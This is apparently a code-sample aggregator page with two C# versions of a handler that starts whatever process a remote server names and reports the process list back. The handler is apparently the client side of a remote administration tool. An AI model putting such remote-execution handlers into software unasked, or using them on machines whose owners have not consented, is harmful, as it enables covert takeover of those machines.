Ejemplo n.º 1
0
        public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
        {
            if (string.IsNullOrEmpty(command.Processname))
            {
                new Packets.ClientPackets.Status("Process could not be started!").Execute(client);
                return;
            }

            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    UseShellExecute = true,
                    FileName        = command.Processname
                };
                Process.Start(startInfo);
            }
            catch
            {
                new Packets.ClientPackets.Status("Process could not be started!").Execute(client);
            }
            finally
            {
                HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
            }
        }
Ejemplo n.º 2
0
        public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
        {
            ProcessStartInfo startInfo = new ProcessStartInfo();

            startInfo.UseShellExecute = true;
            startInfo.FileName        = command.Processname;
            Process.Start(startInfo);

            HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
        }